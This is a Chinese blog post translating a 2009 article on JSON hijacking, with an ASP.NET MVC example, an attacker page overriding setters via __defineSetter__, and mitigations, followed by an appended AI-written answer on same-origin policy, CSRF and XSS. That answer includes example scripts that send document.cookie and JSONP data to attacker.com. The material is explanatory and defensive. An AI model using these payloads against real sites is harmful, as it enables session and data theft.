JSON劫持漏洞(详细讲解利用JSON从而进行数据劫持的漏洞攻防策略)

本文详细分析了JSON劫持漏洞的原理及防范措施,通过实际案例展示了如何利用JSON劫持漏洞窃取敏感信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

声明(阅读前必读!!!)

转载自这篇文章

本人是一个英语渣,英语四级都没过。翻译此文存粹用于英语学习,而且大部分还是用翻译软件翻译的。请谨慎阅读此译文,注意不要被译文雷到。

另外这是一篇2009年的老文章了,里面有部分知识可能已经过时了,不过文章中关于JSON劫持的知识大部分还是十分有用的。在每段原文翻译后面我都会加上自己理解和相关备注,主要是本文开阔了一个思路。

由于文章翻译过来导致有些知识点不好理解,这里可以点击上面的JSON劫持漏洞分析和攻防演练,我会按照自己对JSON劫持的理解对这个漏洞进行讲述。

前阵子我写了篇关于一个微妙的JSON的漏洞(Anatomy of a Subtle JSON Vulnerability)可能导致敏感信息泄露的文章。这种特别的漏洞攻击(exploit)主要通过覆盖JavaScript数组的构造函数,从而劫持暴露的JSON数组数据,现在大多数的浏览器都不支持防御这些漏洞攻击。 

PS: exploit的英文本意为“利用”。但是在计算机安全领域中指的是漏洞利用、利用程序或者网站的某个漏洞进行攻击!

这里解释下overriding the JavaScript Array(覆盖javascript数组的构造函数):因为javascript允许我们覆盖或重写其他的方法,包括Array()这种内部的方法,所以恶意攻击者可以很轻松的将js中的Array()方法替换和覆盖成恶意代码,相当于C#、JAVA和C++中的方法重写。原文作者使用的是__defineSetter__方法来实现这个功能的,但是此函数只有部门浏览器支持,所以一般来说还是直接使用JS的方法重写。

一般替换的恶意代码都是进行JSON劫持的代码,将获取到的JSON数据发送给第三方网站服务器上。之所以可以利用这点进行劫持,是因为JSON数组本身就是特殊的Array,网站一旦返回的JSON数组,恶意攻击者就通过重写Array()的构造函数将数据转发他们的服务上,这就是JSON数据劫持。

然而,还有另外一个与exploit相关的漏洞有可能会对更多的浏览器造成影响。最近在和微软的ScottHanselman交流时引起了我对这个问题的注意,并且我在上周的挪威开发者大会上演示了这个漏洞,虽然这个漏洞曾经出现在Twitter(推特)上

PS:这个与exploit相关漏洞的描述地址:http://hackademix.net/2009/01/13/you-dont-know-what-my-twitter-leaks/

在我深入讨论前,让我首先给你讲解下形成JSON劫持漏洞的条件。

这个JSON劫持漏洞需要你暴露出JSON服务(指JSON服务地址被攻击者知道)并且进行如下操作:

  • 返回敏感的数据
  • 返回一个JSON数组
  • 响应一个GET请求
  • 发送请求的浏览器启用了JavaScript(很有可能)
  • 发送请求的浏览器支持__defineSetter__方法

因此,如果你从不发送敏感的JSON格式数据,或者你仅仅发送POST请求以响应获取JSON等等操作,那么你的网站可能不会受到这个特定的漏洞的攻击(虽然有可能是其他人)。

我讨厌使用Visio(Microsoft Office Visio:绘制流程图的软件),但我想我会尽我所能的通过图表来更好的讲解这个过程。在第一个屏幕截图上,我们看到不知情的受害者登陆了这个容易受到攻击的网站,而这个易受攻击的网站向浏览器发送一个身份验证的cookie并且浏览器将它保存起来(浏览器会将这个HTTP的身份认证信息和相关的cookie缓存起来)。

JSON劫持中受害人登陆了易受攻击的网站

在某些时候,无论是在过去,或者是在将来,总有一些坏人(恶意攻击者)不停的发送着大量的垃圾邮件(这里应该是钓鱼/欺诈邮件),受害者会收到一封内容是推荐一个非常有趣的视频的电子邮件,比如邮件中带有"钢琴上的松鼠"这样内容的一个视频链接。

恶意攻击者发送大量垃圾邮件以进行钓鱼攻击

但是这个链接实际上是指向这些恶意攻击者的网站(就是钓鱼网站),当受害人点击了这个链接,接下来会连续执行两个步骤。首先,受害人的浏览器会向恶意攻击者的网站发送一个GET请求。

JSON劫持中的攻击流程

这些恶意攻击者的网站(钓鱼网站)会响应并返回一些HTML语句,这些HTML语句包含着带有script标签的JavaScript语句(恶意脚本语句)。当浏览器运行到这些script标签时,它就会执行这段代码并向那些容易受到攻击的网站(这里假设攻击和劫持的网站是http://vulnerable.example.com/Json)发送另一个加载脚本的GET请求(如上图所示,这里会将从网站获取的响应文本放到/替换到script标签中,一般是返回JSON数据),该请求还会将受害人浏览器中的身份验证cookie一同发送过去。

受害人将身份验证信息发送给收攻击的网站

攻击者通过伪装成受害者的浏览器,利用浏览器的授权(就是上面发送过去的身份验证cookie) 发出一个请求,这个请求可以到获取到拥有敏感数据的JSON数组。攻击者通过将请求的JSON数组载入到script中以替换重写成可执行的脚本语句,从而窃取到这些数据(脚本语句会将窃取到的数据发送给攻击者)。

为了能更深入的了解,看看这些演示攻击的实际代码,这样也许对我们理解有所帮助(你可以将代码下载拷贝下来并运行)。另外要注意的是下面的演示无论如何都不是专门针对ASP.NET 或者 ASP.NET MVC,我只是碰巧使用ASP.NET MVC来演示它。假设这个容易受到攻击的网站通过一个Action方法返回敏感的JSON数据。

[Authorize]
public JsonResult AdminBalances() {
  var balances = new[] {
    new {Id = 1, Balance=3.14}, 
    new {Id = 2, Balance=2.72},
    new {Id = 3, Balance=1.62}
  };
  return Json(balances);
}

假如这是一个HomeController控制器的的方法,你可以通过向“/Home/AdminBalances”这个URL地址发送GET请求,从而获取Action方法返回的JSON数据:

[{"Id":1,"Balance":3.14},{"Id":2,"Balance":2.72},{"Id":3,"Balance":1.62}]

请注意,我还通过Action方法上声明了AuthorizeAttribute(Authorize属性)使得请求这个方法必须通过身份验证,所以一个匿名(指未通过身份验证)的GET请求将无法查看此敏感数据。

事实上,这是一个JSON数组是很重要的。事实证明,包含着一个JSON数组的脚本是一个有效的JavaScript脚本。一个仅包含着JSON对象的脚本不是有一个有效的JavaScript文件。例如,如果您有一个包含以下JSON的JavaScript文件:

{"Id":1, "Balance":3.14}

并且你有一个引用这个脚本文件的script标签:<script src=”http://example.com/SomeJson”></script>

你将会在HTML页面中得到一个JavaScript错误。然而,通过一个不幸的巧合,如果你有一个script标签,并且这个脚本标签引用文件的内容只有JSON数组,那么这(指的是script标签所引用文件中的JSON数组内容)将被认为是有效的JavaScript和数组被执行。

PS:如果JSON是以对象形式返回,即返回{"Id":1, "Balance":3.14},会提示非法标签错误。因为在JS中"{"和"}"这两个大括号(又称作花括号)在代码中是作为起始和结束的含义。所以为在JS文件中,单独的JSON数据要么以数组形式存在,要么在返回的对象上加小括号({"Id":1, "Balance":3.14}),要么返回JSON数组,否则就是非法标签错误。

现在让我们看看放置在这些攻击者服务器主机上的HTML页面:

<html> 
...
<body> 
    <script type="text/javascript"> 
        Object.prototype.__defineSetter__('Id', function(obj){alert(obj);});
    </script> 
    <script src="http://example.com/Home/AdminBalances"></script> 
</body> 
</html>

这里发生了什么?没错,恶意攻击者改变了对象的原型,正是利用了__defineSetter__这个特殊方法在原型对象调用属性设置方法的时候进行覆盖。

在这个案例中,无论何时所有的对象都会设置一个属性名称为Id的字段(通过__defineSetter__方法),一个通过使用alert函数显示原型属性值的匿名函数将被调用和触发。注意,该脚本(上面使用alert函数显示属性值的脚本)可以很容易地替换成将数据上传给攻击者的脚本,敏感数据就是因此被泄露的。

正如我前面所说的(要实现上面的动作),攻击者需要你访问他的恶意网页,前提你刚刚登陆这个受攻击的页面不久并且页面中的会话仍然保持有效。最常见的钓鱼攻击伎俩就是通过发送一个包含恶意网站链接的邮件(诱骗受害人点击链接)。

如果你运气不好没注意到这个钓鱼链接,当你点击了这个链接时你仍然保持原来网站的登陆状态,那么在进入钓鱼网站后载入script标签的引用时,浏览器将会发送你的身份验证cookie至原来的网站。直到与原来网站链接上为止,你会发送一个包含有效身份验证的请求从而通过响应取得JSON数据,这些数据会获取到你的浏览器中。这可能听起来很熟悉,因为它真的是一个变种的跨站请求伪造(CSRF)攻击,之前我有写过相关的文章。

PS:这里原来的网站指的是受攻击的站点,载入的script标签指的是这段代码:

<script src="http://example.com/Home/AdminBalances"></script>

如果你想亲身感受一下,你可以从GitHub上获取这个CodeHaacks的解决方案,并在本地运行JsonHijackDemo项目(右键单击该项目,并选择设置为启动项目,只需按照项目主页上的说明进行攻击操作,它会告诉你要访问这个页面:http://demo.haacked.com/security/JsonAttack.html

请注意,这种攻击方式对IE8浏览器是无法起作用的,它会提示你 __defineSetter__不是一个有效的方法。上一次我测试的时候,在Chrome和Firefox都可以正常的起到作用。

避免措施是简单的。要么从不发送的JSON数组或者获取数据时必须使用一个HTTP POST请求(除非这些数据不是敏感的数据,在这种情况下你可能毫不/无需不关心这些) 。例如,在ASP.NET MVC中,你可以使用AcceptVerbsAttribute执行,像下面这样:

[Authorize]
[AcceptVerbs(HttpVerbs.Post)]
/*
*这就纠正下,现在新的ASP.NET MVC中,如果要限制操作方法只能接受POST请求,
*只要在操作方法上声明[HttpPost]这个特性就可以了
*原文中的[AcceptVerbs(HttpVerbs.Post)]已经被淘汰不用了。
*/
public JsonResult AdminBalances() {
  var balances = new[] {
    new {Id = 1, Balance=3.14}, 
    new {Id = 2, Balance=2.72},
    new {Id = 3, Balance=1.62}
  };
  return Json(balances);
}

这个方法存在着一个问题,许多像JQuery这样的JavaScript类库默认发送JSON请求都是使用GET,而不是POST。例如,$.getJSON 默认就是发起一个GET请求。因此调用这个JSON的服务时,你需要确保你的客户端库是发出一个POST请求。

ASP.NET和WCF的JSON服务端点实际上是用"d"属性将自己的JSON对象包裹起来,前段时间我有写一篇关于这个的问题的文章。虽然这听起来很奇怪,要访问数据必须要经过这个属性,实际上这是不优雅的缓解方式 通过所生成的客户端代理这些服务来去除“d”属性,以便最终的用户不需要知道这是曾经发生过的。

在ASP.NET MVC (和其他类似的框架)中,大部分开发人员没有使用客户端生成代理(我们不需要生成),而是使用jQuery和其他类似的库调用到这些方法,使“d”属性的问题变得有点儿尴尬。

检查报头怎么样?

你们当中有些人可能会想, “为什么不在服务响应一个GET请求之前,让JSON服务做一个特殊的报头检查,例如 X-Requested-With:XMLHttpRequest或者Content-Type:application/json 这样的报头”。 我也认为这可能是一个很好的缓解方法,因为大多数的客户端库总会发送其中的一个报头,但浏览器响应script标签发送的GET请求则不会发送报头。

这样做的问题(如几个同事向我指出)是在过去的某个时刻,用户可能已经制造了一个获取JSON的合法GET请求,在这种情况下它(指前面说的合法GET请求)也许会在用户的浏览器中或者在受害者的浏览器和受攻击的网站之间的一些代理服务器中被缓存起来。

在这种情况下,当浏览器从脚本中产生了GET请求,该请求可能会被浏览器缓存或代理缓存实现(指发送的GET请求所返回的数据是直接从缓存中获取)。你可以试下设置No-Cache报头,在设置了之后,你所信任的浏览器和所有的代理服务能正确执行缓存而且用户(应该是指用户发送的请求)不会不小心被覆盖。

当然,如果你使用SSL来提供JSON,这种特殊的缓存问题就不是​​一个问题了。

真正的问题?

在Mozilla开发者中心有一篇帖子这样陈述:对象和数组初始化取值时不应该调用setters,而在这一点上,我表示同意,虽然文章中有产生争论的评论:浏览器或许真的不应该执行脚本,无论脚本有什么样的内容和类型,这也是一个有效的申诉。

但是最终来说,分配责任(应该是指上文中浏览器禁用脚本)并不会让您的网站更安全。这些类型的浏览器怪癖会继续不时地冒出来,我们作为Web开发人员需要处理它们。 Chrome浏览器2.0.172.31和Firefox 3.0.11都容易受到这个漏洞攻击。

IE8不容易受到这个漏洞攻击因为它不支持这个方法。我没有在IE 7或者IE 6 浏览器上试验过。

这种默认的情况在我看来是安全的:访问JSON的默认行为也许应该使用POST方式而选择性的使用GET方式 ,而不是在当前的客户端中使用其他的方式来访问JSON。你觉得如何呢?并且在其他平台上你工作中是如何处理这些问题呢?我很想听听你的想法。

如果你没有领会本文,这里有再现步骤:从GitHub上获取CodeHaacks这个项目解决方案,并运行JsonHijackDemo项目在本地(右键单击该项目并选择设为启动项目。只要按照该项目的主页上的说明就能看到整个攻击行动的流程。要看到一个成功的漏洞攻击流程,你需要使用容易受攻击(指支持__defineSetter__方法的)的浏览器,例如Firefox 3.0.11 。

我之后有发布《建议修复JSON》这篇文章来描述防止这一特别问题。


作者:十有三

出处:https://shiyousan.com/post/635441704246553316

版权声明:本文采用知识共享许可协议:署名-相同方式共享 4.0 国际(CC BY-SA 4.0)。欢迎转载本文,转载请声明出处或保留此段声明。


<think>我们正在讨论同源策略、CSRF漏洞和XSS漏洞之间的关系。首先,我们需要明确每个概念的定义,然后分析它们之间的联系和区别。 ### 1. 同源策略 (Same-Origin Policy) 同源策略是浏览器的一种安全机制,用于限制来自不同源的文档或脚本如何与当前文档进行交互。目的是防止恶意网站窃取数据或破坏用户会话。同源策略要求两个URL的协议、域名和端口必须完全相同才视为同源。 同源策略主要限制以下行为: - 读取非同源网页的Cookie、LocalStorage、IndexedDB等存储信息。 - 获取非同源网页的DOM(如通过iframe嵌入)。 - 向非同源地址发送AJAX请求(但可以通过CORS机制放宽此限制)。 ### 2. CSRF(跨站请求伪造) CSRF攻击利用用户已登录的身份,在用户不知情的情况下,以用户的名义执行恶意操作。攻击者诱导用户访问一个恶意网页,该网页中隐藏着向目标网站(用户已登录)发送请求的代码。由于浏览器会自动携带目标网站的Cookie,因此该请求会被目标网站认为是用户自愿发出的。 #### 同源策略与CSRF的关系: - 同源策略并不阻止跨域请求的发送,而是阻止读取跨域请求的响应。因此,攻击者可以构造一个表单或图片标签向目标网站发送请求(GET或POST),即使目标网站与恶意网站不同源,请求也会被发送并携带目标网站的Cookie。所以,同源策略不能防御CSRF攻击。 - 防御CSRF通常需要其他机制,如使用Anti-CSRF Token(在请求中添加一个攻击者无法预测的Token)或验证Referer头(检查请求来源是否合法)。 ### 3. XSS(跨站脚本攻击) XSS攻击是指攻击者在网页中注入恶意脚本,当其他用户浏览该网页时,脚本会被执行。这些脚本可以窃取用户的Cookie、篡改网页内容、进行恶意操作等。XSS分为存储型、反射型和DOM型。 #### 同源策略与XSS的关系: - 同源策略本身是为了防止不同源之间的数据访问,但XSS攻击是在同源页面内发生的(因为恶意脚本被注入到同源页面中),所以同源策略无法阻止XSS攻击。 - 一旦发生XSS,攻击者注入的脚本可以执行同源环境下的所有操作(如读取Cookie、发送请求等),因为浏览器认为这些脚本是页面的一部分,属于同源。 - 防御XSS主要依靠对用户输入进行严格的过滤和转义,以及使用内容安全策略(CSP)等。 ### 三者的关系总结 - **同源策略**是浏览器的基础安全策略,用于隔离不同源的资源,防止数据被恶意读取。 - **CSRF**攻击利用了浏览器自动发送Cookie的机制(同源策略不阻止跨域请求的发送),因此需要额外的防御措施(如Token、Referer验证)。 - **XSS**攻击发生在同源页面内,因此同源策略无法防御。XSS攻击成功后,攻击者可以绕过同源策略的限制(因为恶意脚本在目标源中执行),进而可能引发CSRF攻击(因为可以伪造请求)或其他更严重的后果。 ### 示例说明 1. **CSRF攻击示例**: - 用户登录银行网站(A),Cookie保存了会话信息。 - 用户访问恶意网站(B),该网站包含一个向银行网站发送转账请求的隐藏表单。 - 用户触发该表单提交(如自动提交或诱导点击),浏览器自动携带银行网站的Cookie,请求被银行网站视为合法请求,执行转账操作。 2. **XSS攻击示例**: - 攻击者在论坛(A)中发布一篇包含恶意脚本的帖子(存储型XSS)。 - 当其他用户访问该帖子时,恶意脚本在用户的浏览器中执行,窃取用户的Cookie(包括会话信息)并发送到攻击者的服务器。 3. **XSS与CSRF结合**: - 如果攻击者通过XSS在目标网站中注入一个恶意脚本,该脚本可以在用户不知情的情况下发送一个请求(如修改密码),这实际上是一个CSRF攻击,但此时由于脚本在目标源中执行,所以不受同源策略限制,且可以绕过一些CSRF防御(如Referer检查,因为请求来源是目标网站本身)。 ### 防御策略 - **同源策略**:是浏览器内置的,开发者无需额外实现。 - **CSRF防御**: - 使用Anti-CSRF Token(同步器令牌模式)[^1]。 - 验证Referer头(但存在局限性)[^1]。 - 设置Cookie的SameSite属性(Strict或Lax)[^2]。 - **XSS防御**: - 对用户输入进行过滤和转义(如HTML实体编码)[^1]。 - 使用CSP(内容安全策略)限制脚本来源[^2]。 - 设置HttpOnly属性防止Cookie被JavaScript读取[^1]。 ### 关系图 ```mermaid graph LR A[同源策略] -->|限制读取跨域资源| B(防止数据泄露) A -->|不限制发送跨域请求| C(CSRF攻击可利用) D[XSS攻击] -->|发生在同源页面内| E(同源策略无法防御) E -->|恶意脚本执行同源操作| F(可窃取Cookie/发起请求) F --> G(可能导致CSRF攻击) ``` ### 结论 同源策略是浏览器安全的基础,但无法完全防御CSRF和XSS攻击。开发者需要结合其他安全措施来全面防护。理解这三者的关系有助于构建更安全的Web应用。 --- ### 相关问题 1. 如何设置Cookie的SameSite属性来防御CSRF攻击? 2. 内容安全策略(CSP)是如何防御XSS攻击的? 3. 在哪些情况下,同源策略会被放宽? 4. 如何防止存储型XSS攻击? 5. 为什么HttpOnly属性不能防御CSRF攻击?</think>### 同源策略、CSRF漏洞与XSS漏洞的关系解析 #### 1. **同源策略的核心作用** 同源策略(Same-Origin Policy)是浏览器的**基础安全机制**,要求协议、域名、端口三者完全一致才允许跨域交互。主要限制以下行为: - **禁止跨域访问敏感数据**:如Cookie、LocalStorage、DOM(例如通过iframe嵌入的银行页面无法被钓鱼网站读取)[^3] - **限制跨域请求**:默认阻止AJAX向不同源发送请求(但可通过CORS机制放宽)[^3] - **防御数据泄露**:防止恶意网站窃取用户在其他站点的登录态(如银行会话Cookie)[^3] > 💡 **关键点**:同源策略是浏览器主动实施的安全边界,但**不阻止跨域请求的发送**(仅限制响应读取),这为CSRF攻击留下隐患。 #### 2. **CSRF漏洞与同源策略的关系** CSRF(跨站请求伪造)攻击**绕过同源策略的限制**: - **攻击原理**:利用浏览器自动携带Cookie的特性(同源策略不阻止请求发送) ```mermaid graph LR A[用户登录银行网站] --> B[保存会话Cookie] C[用户访问恶意网站] --> D[自动发送携带Cookie的转账请求] D --> E[银行误认为合法操作] ``` - **同源策略的盲区**: - 请求可发送:恶意页面通过`<form>`或`<img>`向目标站点发送请求(同源策略不阻止) - Cookie被携带:即使跨域,浏览器仍自动附加目标站点的Cookie[^1][^3] - **防御矛盾**:同源策略本为保护用户,但CSRF却利用其机制实现攻击 #### 3. **XSS漏洞与同源策略的关系** XSS(跨站脚本)攻击**破坏同源策略的保护**: - **攻击原理**:向网页注入恶意脚本(如通过未过滤的用户输入) - **同源策略的失效**: - 注入的脚本在**同源环境**执行,获得完全权限(可读取Cookie、发送请求等) - 示例:窃取Cookie的XSS攻击 ```javascript // 恶意脚本注入后 fetch('https://attacker.com/steal?data=' + document.cookie) ``` - **连锁反应**:XSS可能绕过CSRF防御(如窃取Anti-CSRF Token)[^1][^4] #### 4. **三者的相互作用** | 安全机制/漏洞 | 对同源策略的影响 | 典型关联场景 | |---------------|---------------------------|-----------------------------| | 同源策略 | 基础防护层 | 限制XSS的跨域数据窃取 | | CSRF | 利用请求发送机制 | 依赖用户登录态(Cookie) | | XSS | 从内部突破同源保护 | 可获取CSRF Token实现深度攻击 | > ⚠️ **典型案例**:JSONP劫持(结合三者缺陷) > 1. 网站A存在JSONP接口泄漏数据(同源策略未限制`<script>`跨域) > 2. 恶意网站B诱导用户访问,通过回调函数窃取数据[^4] > ```html > <!-- 恶意页面代码 --> > <script> > function stealData(data) { > fetch('https://attacker.com/steal?data=' + JSON.stringify(data)) > } > </script> > <script src="https://bank.com/userinfo?callback=stealData"></script> > ``` #### 5. **协同防御方案** - **对抗CSRF**: - Anti-CSRF Token(同源策略保护Token不被跨域读取)[^2] ```javascript // 前端在请求头附加Token xhr.setRequestHeader('x-csrf-token', csrftoken) ``` - SameSite Cookie属性(限制跨域携带Cookie) - **对抗XSS**: - 输入输出过滤(如转义`<`为`<`) - 内容安全策略(CSP)限制脚本来源[^1] - **强化同源策略**: - 严格CORS配置(如`Access-Control-Allow-Origin`白名单) - 避免使用`document.domain`放宽策略 #### 总结关系 > 同源策略是**城墙**,XSS是**内部叛军**(从内部破坏城墙),CSRF是**伪装成友军的敌军**(利用城门开放规则)。三者构成Web安全的攻防三角。 --- ### 相关问题 1. SameSite Cookie属性如何增强同源策略防御CSRF? 2. 内容安全策略(CSP)如何同时防御XSS和JSON劫持? 3. 为什么CORS机制不能完全替代Anti-CSRF Token? 4. 在单页面应用(SPA)中如何安全存储Anti-CSRF Token? 5. 如何通过前端框架(如React/Vue)内置机制防御XSS?
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值